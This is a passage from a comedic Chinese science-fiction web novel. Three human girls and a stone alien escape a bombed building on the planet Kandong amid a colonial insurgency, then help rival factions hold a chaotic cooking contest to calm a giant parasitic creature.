康烁影并不关心这个黑洞洞的环境是什么植物,但她明白这个时候最好装作很有兴趣的样子:“食肉植物?像是猪笼草那样?那我们走进来,它不会关门吧?”
宁戈伸出手掌,如同身着银甲的骑士向尊贵的公主宣誓效忠:“请搀紧我,我不愿您弄脏自己的裙摆——猪笼草?原谅我的知识浅薄,我没有听说过这种植物。但是您说植物的笼盖,它不会闭合。”
康烁影的指尖搭上他掌心:“那它要如何捕猎?猎物不会自行离开吗?”
“庐豆主要生存在庞大的森林和山地,它会分泌出香甜的气息,引诱猎物们进入荚内。在野外,一个天然的避难所是很有吸引力的,许多动物会在这里安家。然后荚吸引来的其他动物会为了温暖的家和原住民搏斗,无论胜者是谁都会产生牺牲。这时,庐豆便可以饱餐一顿了。”宁戈微笑道,“这就是让猎物心甘情愿上钩的秘诀。”
康烁影忽然抽手,加快脚步向前方走去:“是吗?这样的话,我也不必害怕了。毕竟动物也可以在这里安家,区区小型植物,想必也不需要你的保护。”
轻快的脚步跟在她身后:“如果您想一个人游玩,我自然会遵从您的意愿。在此之前……”宁戈抬手拨开她面前结出一簇簇黑色果实的枝条,露出豆荚后的一方洞天,“让我为您做些什么吧。”
水池平铺,但源源不绝,驳岸藏源曲径通幽,两岸各有花木山石点缀,虚中有实实中有虚,颇有园林的美感。最特别的是岸边一株根系粗壮的树,树木的枝桠垂落水面,满树嫩黄的花朵仿佛鎏金的瀑布。花瓣轻吻水面,荡起层层扩散的涟漪,直到波动惊扰了荷叶的安眠才肯罢休。
宁戈牵着她走进湖中,那看似荷叶的地方居然是一只背着绿藻的扁平赤红色生物,后背平滑,身体周围却布满尖刺。宁戈说这是驯化后的红毯子,不伤人,请放心乘坐。
红毯子的背上摇摇晃晃,康烁影扶住宁戈的手臂,两腿并拢向一边优雅地斜放。宁戈用指骨敲了敲尖刺,身下的动物便深吸一口气潜入水中,让水流刚好在他们身边环绕却不会沾湿衣服。
康烁影触摸水面,感受到了一股奇特的寒意,这里的水体不同寻常,应该有一些特殊科技保证它们不被蒸发。
宁戈美丽的眼睛认真地望着她:“你喜欢吗?”
“喜欢。”康烁影伸出手,拈起水面的一片花瓣,又将它放回水中随波漂流。
“坎冬没有经济能力建造如此庞大的温室。但我们想把这样的公共设施建满坎冬,让所有人都能体会外星的风貌。”宁戈拨弄岸上的藻类,荧光在他指尖流淌,“如果整颗星球的人们都能看到就好了。”
“建满?”康烁影好奇,“坎冬人不习惯在这种温度生活吧?”
宁戈伸手敲了下康烁影的头盔:“当然不是。植物园只是一个象征。学校、医院、法院,这些才是最重要的。”
“你们不是在建了吗?听说有学校已经复学了。”
宁戈并不回答,转而问:“你听说园艺师了吗?”
康烁影并不隐瞒:“听说了呀。”
“这是一群坎冬的本地人,他们把母星比作植物,把自己比作园艺师。一颗植物,必须有园艺师的修剪,减去浪费养分的枝桠才能生长。同时,绝不能伤害植物本身,这就违背了他们的初衷。”宁戈苦笑着指指自己,“我们就是他们要剪去的枝桠。”
“怎么会呢?”康烁影大惑不解,“你们为坎冬做了那么多,建学校,建医院,管理秩序。他们才是寄生在树上的蘑菇!”
“谢谢你这么想。”宁戈覆上康烁影的手。双手相触的那一刻,绷紧的身体忽然松懈,他深深吸了一口气,仰起头苦笑,“抱歉,让你看到我不堪的一面了。
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我其实明白他们的想法,因为我们是婆旦人,所以他们就把我们当作殖民者。其实,我们只是想让所有人都能享受更好的生活。唉……也许人人平等的世界,终究是我的幻想……”
康烁影由衷道:“这话你应该跟颜阎刘征兰说,她俩听了肯定高兴。”
宁戈柔声道:“可我只想告诉你。”
忽然之间,康烁影猛然站起来。温馨的气氛荡然无存。她四下环顾,向远处眺望,似乎在倾听什么东西。终于,她找到了自己的目标。
她把左腿搭在驳岸上,回头朝宁戈略一点头:“不好意思,有急事。和你的相处很愉快!一会儿加个联系方式哦!”
然后便一个翻身上了岸,直奔刚才凝望的方向。
她左拐右拐,同时大声呼喊:“撒!撒!”
一排管风琴形状的芦苇后面探出了刘征兰的头:“喊什么呢这是!”
“韩语的四。”追星女眼泪汪汪。
“出啥事了?”颜阎的脑袋也冒出来,“你异性恋痊愈了?”
“那个是不治之症。”
波洛拿垫在最下面:“那个细长条欺负你了?”
康烁影深吸一口气:“我要说了,你们可千万别笑话我。”
“我们是专业人士,从来不会笑话你。”颜阎发誓,“我要是笑了,我就原地暴毙。”
康烁影做了好几个深呼吸,眼睛直勾勾地看着对面的三个生物:“那个帅哥要□□我。”
刘征兰沉默片刻:“……她异性恋病入膏肓了。”
“真的。”康烁影镇定地捋头发,只摸到头盔:“我聊过的暧昧对象比你俩的朋友加起来还多,我还能不知道?”
两人大叫:“禁止人身攻击!”
康烁影没理她俩:“真的,我本来都要沉迷了。他突然来跟我俩理想啊精神啊基础设施啊。可恶,搞暧昧就好好搞,谁要他突然跟我交流三观!我们是那种关系吗!谁一见面就聊精神啊!”
颜阎举起手。
刘征兰也举手:“你们不聊精神聊什么?聊今天晚上吃什么?那晚上过去你们聊啥?”
康烁影也很诧异:“你们见面都聊马克思?”
“不。”颜阎视线游离,“我们都聊以赛亚柏林。”
“……我也可以跟你们聊聊卡尔荣格。”
“聊《金花的秘密》?”
“不是。聊荣格十六型,简称MBTI。”
三个人对视一眼,乐了。
“总之,他一跟我说这些,我立马清醒了!这里三个人一个石头,看起来对精神最没兴趣的就是我,就算想聊精神也只会跟你俩这种穿得破破烂烂的聊,我还能不知道?”康烁影两手一拍,“他一聊,我就知道不对。这家伙别有目的!能有什么目的?和我拉近关系,透露婆旦对坎冬的规划,只有拉我们入伙嘛!”
波洛拿真诚地赞扬道:“你真聪明。”
康烁影微微一笑:“异性恋的敏锐直觉。”
宁戈越想越怪,现在回忆一下他面相都不对了。四个生物不敢多留,鬼鬼祟祟向植物园的气读材料墙走去。
一路畅通无阻走到墙壁,波洛拿还有点疑惑,但她还是伸出脚,用脚尖碰了碰墙壁。
她的身体迈出屏障的那一刻,大楼里响起巨大的警报声。
“警报!警报!有敌袭!重复,有敌袭!请所有人员有效疏散!重复,请所有人员有效疏散。”
87.群山之王
康烁影发出惊天动地的哀鸣:“我就知道!越好看的男人越会骗人!”
四个生物一头撞开气读墙壁逃离植物园。四下张望却看不到楼梯,康烁影一跺脚:“走画框!”
她一头扎进画框里,脑袋穿透油画撞上墙壁,整个人被直直弹回来。
跳格子消失了,画框变成了普通的画框。
来不及想油画的赔偿了!颜阎二话不说原地等死,刘征兰在她身边找了个舒服的位置发呆。波洛拿大喊:“别放弃啊!再努力一下!”
没什么好努力的了。这栋建筑甚至没有配备楼梯和电梯,完全依赖跳格子技术。现在跳格子被切断了,一整层楼全部封锁,成了高科技棺材。未来科技真是速度速度升级技术,进步进步全面结束。
生物之间弥漫着忧郁的气息,康烁影叹了口气,准备一块儿等死,她们脚后跟紧贴的墙面却动了动,里面滚出一个石头人。
“女士们!太好了,你们还活着!”让诺拉激动不已,“请进,请进!这里有一条下楼的路。”
康烁影大喜过望,劫后余生的兴奋令她哧溜躺下,钻进那个可疑的活板中。预想中的地面没有出现,她脚下一空,顺着一条光滑的坡道畅通无阻地滑下去。下滑途中勉强支起身子看了一眼,没有尽头的滑滑梯螺旋下降到深不见底的底层,漩涡般的结构令她当即罹患恐高,惨叫着远离了进来时的活板。
惨叫在空旷的大楼里回荡,刘征兰退后一步:“你这通道安全吗?”
波洛拿替他解释:“放心吧。我们坎尼亚的楼梯就是这样的。两边粗糙中间光滑,上下楼都很方便。”
让诺拉笑道:“就是这样。虽然婆旦更依赖高科技的跳格子,但我作为坎尼亚还是更信任原始科技,所以为坎尼亚员工特别修建了隐藏楼梯和出入口。”
大家将信将疑,但脚下的大楼实在是摇晃得厉害,连底盘比较低的坎尼亚都站不稳了。让诺拉首当其冲滑下密道,波洛拿其次,刘征兰和颜阎抱着摔死拉倒的心态跟着冲下去。
密道里无比黑暗,没有任何照明设施,唯一的光源就是每一层活板门缝隙间的光芒。刘征兰和颜阎一圈一圈绕下去,中途为了缓解紧张开始唱歌,遥远的康烁影给她们和声,等《处处吻》唱完一半,她们终于回到可爱的陆地上。
康烁影一个没刹住在地上滚了一圈。让诺拉为了避开她朝另一个方向滚,波洛拿看啊你们怎么都滚了那我也滚一个,刘征兰和颜阎砰砰两身撞在她身上,息声半晌,带着满额头的红印缓缓抽气。
颜阎睁着一双无神眼睛哼哼唧唧:“至少我们确定了这群石头不是石墨……”
一群生物爬起来撒开腿和石头往门外跑。门口迎接她们的几个门童跟京剧变脸似的,摇身一变成了交戟士。两把枪带着红点指着几人额头,波洛拿刚要投降,随着砰砰两声,门童的身上冒出一个圆鼓隆冬的弹孔。
场面沉默片刻,石头人们茫然地转动了一下身躯,而后从内部轰隆炸开,霎时间浓烟滚滚,碎石四处滚落。
大难不死的宁戈从活板门下面探出脑袋,解除了电子枪的眼动瞄准。那张惊天动地的帅脸展颜一笑,还没来得及说些什么,头顶便爆出一阵血花。
“还有人类!”不亚于音爆的嗡鸣铺天盖地,随之而来的还有平稳而快速、喃喃自语般的低声祷告,“上帝啊请使我们的士兵如枪子弹如电光,令我们行于战争如同您行于您的天国!”
天花板,碎了。
是的,如同孩子揉碎泡沫板一样地碎了。
钢筋、电子板、气读层,轻飘飘地落下来。
波洛拿感觉时间停止了。她看着庞大的残骸带着千钧之重落下,让诺拉奔向她的脚步无比缓慢,人类朋友仰起头凝望着上方。
她的身体被什么掀飞,翻倒,滚落。疼痛到来的那一刹,时间重新开始流动。眼前的大楼坍塌了。光滑的地板、植物园、神奇的画框、人类,全都不复存在。
她愣愣地看着大楼的废墟,直到周围的居民全都向安全处撤离,城市变得荒原般空旷,她才拖着自己的身体,慢慢踱向她刚才站立的地方。她伸出手臂,似乎想抓住些什么……
“噗哇!”康烁影一个鱼跃从碎石头里蹦出来,“救命救命救命姐姐救命啊!”
刘征兰探出脑袋,盯着废墟看了一会儿,没什么生气地说:“好像提拉米苏。”
颜阎大声咋舌:“笑了,惊天大逃脱。”
让诺拉一块一块捡起自己钢铁防具的碎尸,嘴里念念有词:“能用,能用,不能用,能用……”
66区骤然刮起刮风,风声带来冷笑阵阵。电子枪的自瞄镜“咔”一声聚焦,雷霆般的怒吼在她们身后回荡:“殖民者的走狗!受死!”
颜阎本人的没脸没皮令她立刻举起双手,尽所有力量投降:“自己人!自己人!自己人!”
对面有人骂了一句:“谁跟你自己人!”
“自己石头!自己石头!”
对面被逗笑了,有人似乎拿什么东西指了指她,带出一阵令空气扭曲的热浪:“有真傻子!哈哈!人类平均智商果然不高!”
让诺拉语气悲伤:“纽卡伦,我说过了。战争双方,都尽量不要波及藏楼。”
“我也说过了。请婆旦的殖民者离开我们的星球。”毙了宁戈的石头人支着自己的枪柄,风流倜傥地把自己拧出嘎嘣一声,“快点吧,亲爱的,你被俘虏了。”
让诺拉怒喝:“你知不知道……这一炸,炸死了多少坎冬员工?他们只是想有一份满足温饱的工作,却被你们园艺师永远埋在废墟下!”
纽卡伦冷笑:“一群出卖母星的奸细。坎冬的沦陷有他们一份!卖的时候真金白银,这时候想起仁义道德了?”
她转向波洛拿,冷笑了一声:“把这个也抓起来!送到后方修升降机去!”
波洛拿和地球人被几个石头人围起来。她没有挣扎,反而轻轻地问:“纽卡伦?亲眷在食品厂工作的那个吗?”
纽卡伦猛然回头:“你怎么知道?”
波洛拿又问:“曾在70学区上学的那个吗?”
纽卡伦手里的电子枪坠了一下,她重新捞住了。她凑近这个“奸细”,仔仔细细绕着她走了一圈,不确定地问:“波亚?”
“是我!是我!”波洛拿的身体上冒出激动的红光,“我现在叫波洛拿!皮塞纽,你现在怎么叫纽卡伦了!皮列那和塞滋呢?你怎么在当园艺师?”
纽卡伦丢下自己的电子枪,两颗石头结结实实地搂在一起:“皮列那和纽卡伦都去掮木了,塞滋被抢劫犯杀死了。我不知道她们是不是活着,我只能先继承名字。我去食品厂工作,但食品厂很快关门了。我无处可去,先是加入坎冬自治运动,然后当了了园艺师!波洛拿,你也一起来吧!我要把这颗星球上的外来者全都赶走,我要让它变回我们的星球!到时候你也可以回去上课了,我们再也不用被别人统治,我们要夺回我们的母星!”
“愚昧……”让诺拉被同胞踹了几脚,痛苦地蜷缩起来,脱落的石头身体里冒出浓烟,但这拦不住他的嘴,“不管是掌权者是本地人还是外星人,能让生活幸福就是好事。你以为园艺师的征兵为什么那么困难,就是因为婆旦和掮木都给坎冬人带来了好处,而你们只是被情怀和热情洗脑的蠢货……不顾人们的生死……不在乎人们的生活……和平时就让人们终身工作,战争时就逼人们拼死作战……”
康烁影欲哭无泪,几乎想恳求让诺拉别再说话了。这个时候,颜阎的脸面回光返照,她庄严地盘腿坐在那儿,不发表任何讲话。而刘征兰更甚,她已经开始向让诺拉那边挪动了!
“冠冕堂皇的说法。”纽卡伦大笑,“如果真是这样,你怎么能忍受藏楼在这片土地上?它不是服务于婆旦人的吗?光地板,白灯条,植物园,我们用得到吗?这些资源能养活多少人,你心里没数吗?你自称这里出售医疗舱……实际上呢?”
“等一下。”波洛拿打断她,“这里没有医疗舱?”
让诺拉惭愧地缩紧外壳,浓烟更呛人了:“那个……呃……医疗舱调度不太方便,被征用了。”
纽卡伦低语:“是被送到前线了吧?”
“那我得走了。”波洛拿当机立断,“我就是来买医疗舱的。我没有其他目的,也没有任何立场,只是想要医疗舱。”
康烁影双手合掌极力摇晃,语气中带着哭腔:“真的真的。姐姐们哥哥们我们是好人,我们是来帮助可怜医生的,我们没有伤害任何坎尼亚和生物,这辈子干过最大的坏事就是半夜偷吃早餐面包。”
让诺拉挣扎着笑了一声:“晚了……”
准备扑过去捂他不存在之嘴的康烁影有一种非常不好的预感:“……什么?”
“谁也跑不掉……”
藏楼的废墟剧烈颤抖,大地发出沉寂已久的怒嚎。钢筋瓦烁中拱起一个巨大的透明身躯,它如水一般流动,每一次蠕动都令周围的房屋颤抖。所有的工业废料全部被它吸入身体中,远远看去,仿佛一座后现代风格的钢铁建筑。
飞溅而出的砖石向波洛拿飞来,纽卡
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伦用身躯替她抵挡了一下。现在她也开始冒烟,钢片留下了一条十字形的伤口。她将其拔出来,露出体内流动的银色液体和凝胶状红色内腔。
纽卡伦淡淡地拦住想要上前的波洛拿:“小事。”
园艺师们仰头望着他们头顶的恐怖巨兽,有人朝它开了几枪,子弹全被它的身躯吞没了。巨兽注意到了地上的小不点,但它的身躯实在笨重,它只能一点点向这里靠近,每走一步,铺筑路面就会被溶解,露出地壳的本来面目。
“地反……”园艺师中有人喃喃,“是传说中的地反……”
让诺拉的伤口咳出一口蓝火:“是群山,蠢货。”
地反,矩阵学院的宇宙百科里的意思是:原因不明的地震、巨物导致的震动和大规模的饥荒,许多宗教典籍对该词有引用。但说起群山,地球人的印象就只有:“一座座↑山↑↓川→”和后面的“青藏高原!!!!!”
刘征兰对迫近的怪物视而不见,每个毛孔里都写满渴望知识:“群山是什么?”
“一种……寄生物。幼年时期,它们会进入小型动物体内,寄生在它们胃壁上。成长到一定程度,就会从宿主口中翻出,反向包裹宿主将其消化。等它们长到足够大,就会吞噬房屋、山体,将其包裹在自己体内,外部只留一层几乎看不出来的薄膜,与周围环境一起生活。”
“……等一下。”康烁影一字一顿,“那植物园里的水不会是……”
让诺拉虚弱地安慰她:“是的,都是它。放心,对人类无害,对迁氧特攻。整栋大楼的供水都是它的身体,它还可以消化生活垃圾,绝对的清洁能源。”
纽卡伦又踹了他一脚:“混账!宁愿帮人类藏匿也不愿意消灭它!”
让诺拉更委屈了。
经济!它经济啊!更何况它死了也是氧气和H2O,坎尼亚吸多了就死,最后还不是只能靠人类抓捕人类处置!不然你以为坎冬古代传说里那么多地反是怎么来的,就是它们导致的啊!
但是他不能说,因为以纽卡伦的作风,估计会为了消灭群山抱着炸弹冲过去。
如果是在野外还行得通。可这里是商业区,如果真的就地把群山炸了,附近的医院、临时学校,还有大量高尖端设备,就全都完蛋了。
纽卡伦和让诺拉一拧身子,决定暂时联手。
让诺拉指挥园艺师们去还没有被吞噬的废墟里搜寻一下,藏楼最顶层的厨房与餐厅肯定在废墟上层,把里面搜集出来的“那东西”都拿过来。纽卡伦负责吸引群山的注意力,让它走到宽阔的大街上,避免和建筑物接触。
康烁影原地跳了两下,拉伸自己的韧带,跃跃欲试道:“‘那东西’是什么?”
让诺拉沉默片刻:“小孩子少问这种话。”
……怎么就不能问了!
康烁影换了个话题:“那你准备怎么解决它?”
让诺拉言简意赅:“拖。”
“纯让园艺师轰炸?子弹在群山眼里不就跟摔炮似的?玩一会儿就腻了吧。”
让诺拉和人类相处很多,且不提成员基本都是人类的婆旦,单单是曾经成功的革命组织掮木内,就有三分之二的人类成员。人类整体并没有更加聪慧,也没有更加勇敢,这只是一个普通的种族,仅此而已。这里面有敢为天下先的勇者,也有中饱私囊的投机分子。
他已经学会如何分辨人类幼体和成年体。而这三个来路不明的人类幼体里,他最喜欢的就是康烁影。好奇、天真、生机勃勃,这就是他对下一代最好的想象,无论这位下一代是坎尼亚还是人类。
所以他用教育孩子们的语调,轻声细语地说:“你猜得不错。但它本身的吞噬特征让它很难被打败,即使炸毁它,它释放的大量氧气也会腐蚀建筑和我们的躯体。想要真正摆脱它,只有等到婆旦的军队到来,用升降机和凝固剂收容它。在此之前,我们能做的就是尽量麻逼它的躯体,令它无法持续移动,避免造成更多伤害。”
康烁影点点头,拉住后面想让他说重点的刘征兰,露出一副天真无邪的表情:“原来是这样。那我们要用什么办法?我们也可以帮忙!”
终于到了让诺拉避之不及的这个问题。他后退几步,伤口里冒出火星四溅的红光。
“……”他说。
“你说什么?”康烁影凑近他。
“……”他再次重复。
“大点声呀!”
他像个做功的内燃机运动了两个回合,终于下定决心,用整个街区都听得到的声音说:
“做饭!!!”
88.坎冬小当家
所有坎尼亚登时回头,给自己上药的纽卡伦一个激灵:“当着小孩儿面说什么呢!”
“做饭怎么就不能说了?”越说不行,颜阎就越要干,“做饭?做饭!做饭!!”
波洛拿赶紧在下面扯她防护服让她蹲下来,悄悄跟她耳语:“在我们这里,进食是很、嗯、很私密的事。你们人类对交.配也很避讳对不对,在我们这儿也是一样的。”
“那么严重吗?”
“呃……从我的观察来看其实你们人类那边更严重一点。我们这儿饿急了是可以在街上吃饭的,食材也是可以直接卖的。”
“可是你就没有避讳。”颜阎不依不饶,“你当是还想来吃大餐呢。”
波洛拿有些羞涩地在地上蹭自己的石头身体:“我原本是打算……买了医疗舱放着,再吃顿大餐,就去死来着。”
颜阎拧眉,刘征兰惊,康烁影倒吸一口凉气。
“现在没有这个想法了。”她赶紧补充,“刚才被枪指着我才发现,死还是有点太吓人了!我还是回去做小医生吧,不然74区的人可完蛋了。”
康烁影嘴角往下耷拉,想说什么又说不出来,只能沉默着狂搓她的石头身体。
刚才去翻废墟的园艺师找回来一些幸存的坎尼亚和一堆红石头前来邀功。让诺拉说:“你们气死我吧。”
最后两边的人一商量,决定什么最不像吃的就拿什么,最后成功找回来几个恒压箱,看标识似乎是滑蜥和脱皮猪肉、一些植物园就地采摘的果子和一些奇怪调味料。刘征兰脑子里的图灵告诉她:“我当年喝的氰.化.钾就这个味儿。”
“群山不是动物,也不是植物。它是‘夺壳’,和变形怪、藤发人的本体、假脑芯片一样。它们对各种新刺激反应强烈,而且会储存这段电信号,让它们反复流过神经末端,造成轻度肢体失衡,俗称,成瘾。”让诺拉缓缓说出以上话语,刘征兰想问他不觉得荒谬吗,颜阎说你别问,容易把别人家吓跑。
康烁影捏着很做作的腔调鼓掌:“哦哦哦好厉害!那为什么要做饭?直接给它们一电棍不行吗?”
“不太有用,都是楼了,肯定天天被电。”让诺拉深深叹息:“藤发人和群山都有一个特点,就是容易脂成瘾。它们以前作为植物的时候没有所谓的味觉,只是把动物分解作为养料吸收,没有直接吸收过脂肪。所以很多寄生植物成为藤发人进入现代社会后,容易对工业食品上瘾。”
三个人类脑海里浮现出了银芯梅在烧烤店里报仇雪恨般地胡吃海塞的样子。
脑海里的银芯梅扬起那张俊脸,朝她们微微一笑,然后趁机把自己煮成一锅咸肉和春笋兼备小火慢炖出锅的腌笃鲜,声音也变成了让诺拉的嗡嗡嗡:“过量刺激会让它发狂,少许刺激没有作用,刺激只能适量。经过研究,我们发现,一锅菜的含量正正好好!”
纽卡伦在旁边揽着波洛拿说群山没品,不吃坎冬特产矿物,这辈子算是白活了!
既然说是工业食品,那肯定是人类食品。可是出于某种莫名其妙的道德感,从让诺拉到纽卡伦和波洛拿,再到全体园艺师,都不允许她们碰厨具。
“怎么能让小孩子碰这么肮脏的东西!你们才多大,不要学!”纽卡伦虽然看人类很不顺眼,但她如今也看出这几个人是小孩儿,园艺师军纪是不好,但没有丧心病狂到让小孩儿当众受辱,“这种事我们来就好,你们旁边呆着去!”
“不至于!不至于!”刘征兰坚持帮忙,“你们都不会用火,还不如让我来,让我来做得还快。”
康烁影作势撸起袖子说她也要来帮忙。颜阎不住点头,说对对对,她们俩会做饭的也去帮忙。
波洛拿轻声道:“你们过来我这边吧。你们人类非要帮忙,园艺师心里很不自在的。反正做完了你们都要尝,不然刺激晶体剂量太大,群山会发狂,太少又拖不住它。”
人类嘴上答应了,心里还犯怵,频频回头看那群石头,心里忍不住打鼓。
……这群石头,真的能搞懂什么是“菜”吗?
坎冬这颗星球上完全没有“火”可言,坎尼亚们从废墟里拖出来几台长得像行星发动机的炉子,说可以热东西。让诺拉指挥园艺师们临时建起一个边长两米的正方体降压室,让恒压箱里的食材可以正常拿出来。
结果一打开盖子,所有石头人全都鬼哭狼嚎:“活的!活的!是活的!”
刘征兰迫不得已上前线,往箱子里一看:一群死不瞑目的鱼类,鱼鳍的形状像个梯形,身体下方支出四个退化不完全的足部,锻子似的皮肤呈金色,鱼头上的四只眼睛都闪着诡异的光芒,目前还在做最后的神经反射。
她当机立断:“不能让他们做鱼!做了她们就死定了!”
她一把盖上箱子:“我不怕牺牲!我不怕磨难!让我来做饭吧!让我下碗面吧!”
她的奉献精神感动了所有人,但是一早就开始左摸摸右看看的颜阎和康烁影挪到她身后:“没面,没米,没电饭煲。”
刘征兰一咬牙:“我还会做番茄炒蛋和红烧排骨!”
颜阎指着炸成废墟的大楼:“番茄?哪来的番茄?”她又打开那一箱气息浓厚的调味瓶,“酱油?哪来的酱油?”
刘征兰壮志未酬身先死,被坎尼亚抬去后方。
她终于认清了现实,在外星的环境,用着外星的食材,她和石头人们都是新手,沒有谁比谁更熟练。她决定老老实实当评委,偶尔在石头人们身后纸上谈兵。
时间紧迫,但问题是园艺师和“球奸”们的矛盾不变。双方针锋相对,协议过后决定两方各派出一石头进入降压室,开启厨艺比拼。
乒乒乓乓十分钟,降压室的门打开一条缝,里面冒出浓烟。颜阎感兴趣了,猫着身子钻进去围观,又过了一会儿,她隔着墙朝外面喊:“情况不对……咳咳,请求支援!”
大厨刘征兰赶紧把脸贴到墙上:“怎么了?”
“石头朋友在把一种……嗯……蓝色的……这是啥?哦哦是菜。一种蓝色的硬硬的菜放进锅里炒,但是我有个小问题,这种菜不切块能熟吗?”
“切啊!为什么不切!不切你不如生啃!”
“我问问……他说大块吃得放心吃得爽。”
“你让他滚。”
“……让我们看看下一位。这位很不错嘛!在做炒鱼!”
“在干什么?你说在干什么?处理了吗?去鳞掏鳃抽筋去内脏做了吗?”
“她说群山哪在乎这些有的吃就不错了。”
刘征兰沉默了。说的也是,是给群山吃又不是给她吃。
这位投靠婆旦的坎尼亚石头用头顶着那个脸盆大的锅,从烟雾缭绕的降压室走出来,堂堂正正往地上一放,以胜利者的姿态面对园艺师,投靠者们纷纷为她欢呼,在一片雀跃里,刘征兰说:“零分!!!”
如果这里是工地,她说不定还会对成品赞不绝口:好一锅金光灿灿的石膏!厨师真正做到了让所有人目无全鱼,面目全非的鱼类骨灰一半呈灰一半作泥,就算现在拿它抹腻子也没有任何不妥。
刘征兰的评价是:“我觉得这也不是不能拿给群山吃,但是这跟吃了建材没区别,你们原地起灶的意义又是什么?”
园艺师刚想幸灾乐祸,康烁影就看了一眼那边原料什么颜色菜就什么颜色的拳头大小蓝方块,冷静道:“这样吧,你们把菜和调料直接丢进去,省去做菜这个步骤好不好?别做了,到胃里都是一样的。别吃了,反正都是要排泄的。一步到位一劳永逸,多好。”
两块石头遗憾离场,但双方很快又派出了新的石头!由于石头们都长一个样,甚至没有喷出岩和侵入岩的区别,让我们称其为:来自园艺师的石头三号和支持婆旦的石头四号。
这次颜阎被赶出了降压室,美其名曰影响选手发挥。两位选手在自己的灶台前整装待发,刘征兰一声令下,双方开始做饭。好事者给降压室贴了块厚泡泡一样的透明材料,人类能从这个小窗口能看见里面的战况。
康烁影监视的石头三号还在捣鼓肉,幸好她没有坚持做鱼,而是拿了现成的脱皮猪肉馅,把所有的调料都往里面放了一遍。会做一点饭的她感觉这个场面惨不忍睹,拍着墙喊:“葱姜水,葱姜水,来点香味儿啊!”
石头问:“什么葱?哪个是葱?”
康烁影在她展示出来的黄黄绿绿蓝蓝红红的蔬菜里一阵搜索,最后放弃了。她说:“没有葱也挺好的,只要你别乱放就行了。”
石头四号以前围观过人类厨师做饭,比较有经验。他的看法很先进,许多蔬菜一点肉全扔进去,倒水,加一点盐啊酱啊小粉末,盖上盖,开火。他认为,只要炖一锅,很难有什么难吃的东西。
颜阎在外面喊:“别放粉,万一是成瘾物质我们就不能试吃了!别放粉!”
看得出她很有防范意识。
石头四号欣然接受她的建议,没有放粉,但是她显然放多了水,炖菜变成了汤。水多了加菜菜多了加水,几个来回之后,为了不让降压室内坍缩出形成新的行星,她放弃了,直接改炖汤,反正都是炖的,没有什么差别,除了让想吃猪肉炖粉条的颜阎痛惜地咬了口空气。
这是什么?是三号选手!三号选手走出来了!她自豪地介绍自己这道菜的主要食材是脱皮猪肉馅、可可拉菜头和一口鲜美食酱。吸取前一位选手的教训,她把可可拉菜头切细,少许调味酸呛果榨汁和一大勺一口鲜美食酱,再加入一点增香的箭菌丝,一同放进肉馅里揉匀,再捏圆扔进沸腾的油锅里,炸出脆脆酥壳再捞出来,淋上一圈酱汁提味,就成了这道融合了坎尼亚传统和人类饮食的美味小吃。
颜阎和刘征兰听得食指大动,当即让她呈上来给她们品味,只有康烁影的表情略有迟疑。余光看到她的反应,颜阎心里一紧,可是此时锅已经端上来了。
康烁影往里面看了一眼,感叹:“哇!仙丹!”
不错,那是一锅乒乓球大小、中心透着火光的丹丸,外壳焦黑酥脆一碰即碎,内里滚烫热情断肉块菜。这一刻大家都理解了所谓的坎尼亚传统是什么。
它碳化了。
现在,这是一道坎尼亚能吃,人类狠狠心也能吃,真正意义上跨越了文化隔阂的名菜。
康烁影说:“等和平了,你这道菜就拿去当特色菜宣传。”
刘征兰补充:“我给它取个名字,就叫舍利子。”
三号美滋滋:“好呀好呀!”
舍利子也被淘汰了。大部分坎尼亚,包括投靠婆旦的,都觉得人类很没眼光。
万众期待的四号如何?颜阎凑近砖块大的小窗户看了一眼,说:“还有一会儿。”
“进行到哪一步了?”纽卡伦问。
颜阎又看了一眼:“进行到给汤翻面了。”
“……不是,你等一下。”
四号,步骤没问题,食材没问题,刀工没问题。她的问题非常独特,纵然是大厨刘征兰也不曾听闻:她的汤粘锅了。
她的汤和锅接触的地方,不知道怎么出现了一层蛋糕一样的软壳,而被蛋糕胚包裹的内部还是液体状态,当她想把底部的食材捞到上层来的时候,汤翻面了。
这可谓是前无古石后无来者,坎冬历史上浓墨重彩的一笔。刘征兰蹲在纽卡伦身边,试图说服她把这东西搬进博物馆,以后和平了做战后宣传绝对用得上。纽卡伦哼哼怪笑,似乎为自己人好歹还有一张嘴,对手只是纯粹的搞砸而欣喜。
群山已经很接近了,吸引注意力的园艺师们急得要投敌,成败在此一举。双方终于派出最后的选手——纽卡伦和让诺拉。
实话说,让这俩去做饭有点虐待伤员的意思。可是两块石头都表示,自己爬也要爬过去证明自己比对方更强!
两个石头阴暗扭曲地滚进降压室开始叮铃咣啷。人类甚至懒得预料结果了,康烁影和园艺师、投靠者们蹲在一块儿,讨论双方的审美,比如宁戈和让诺拉到底好不好看。颜阎和刘征兰到处问哪里能买到医疗舱到底哪里能买到医疗舱!
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不一会儿,让诺拉出来了。忽略掉小窗户里核弹爆炸般的火苗,菜本身还是很值得期待的,他凭借自己混迹多方的经验,曾有多次观察人类做饭的经验。他的菜大小正常,火候适中,颜色鲜艳,香气扑鼻。
刘征兰给这道菜的外表打出了九分的高分,差一分是没有餐具。她把前面那块汤掰了两块党筷子,夹了一口菜,从防护服的进食口放进去,嚼了嚼。
然后她倒下了。
“水!!!!!”
没有水。颜阎抱起一个还没用的锅跑去群山旁边,把带着灰尘但好歹是活水的群山往锅里舀。康烁影抱着刘征兰灵魂出窍的身体问让诺拉:“你加了什么?”
让诺拉不知所措地把调料摆出来:一口鲜美食酱、鲜磨小菜酱、菌菇酱、盐……
这盐怎么就剩点底儿了?
康烁影颤抖着:“你放了多少盐?”
让诺拉迷茫地说:“我听说,你们人类把盐当作生命之源,在爬行年代之前,它们往往是硬通货,我就多加了一点。”
化学老师讲过一个生活小技巧:如果你们穿越到无限流的世界,有个谜题是让你们在世界上最酸、最甜、最苦、最辣、最咸的东西里选一样吃,你们最好选最咸,因为盐就是最咸的东西。
如果刘征兰稍微警惕一点,翻一翻这道菜 ,就能发现锅底还有没稀释掉的盐粒,可惜她过于信任政治家的判断,这给了她致命一击。她吃掉了整整四十克盐(加上未稀释部分)做的菜,这些盐够腌制两斤萝卜干。仅仅是一口,就吸干了她口中所有水分,让她迅速变成了干尸,如果把她放进金字塔,考古学家也很难分清她和木乃伊的区别。
至于纽卡伦……她出来了,她什么也没拿。刚才核弹般的战斗力终于摧毁了身经百战的锅,这只放在战场上都能挡两发地球子弹的锅,终于寿终正寝,离开了这片是非之地。
顺带一提,康烁影发现了让汤翻面的罪魁祸首:上一块石头没洗锅,坎尼亚也没有洗锅的概念。
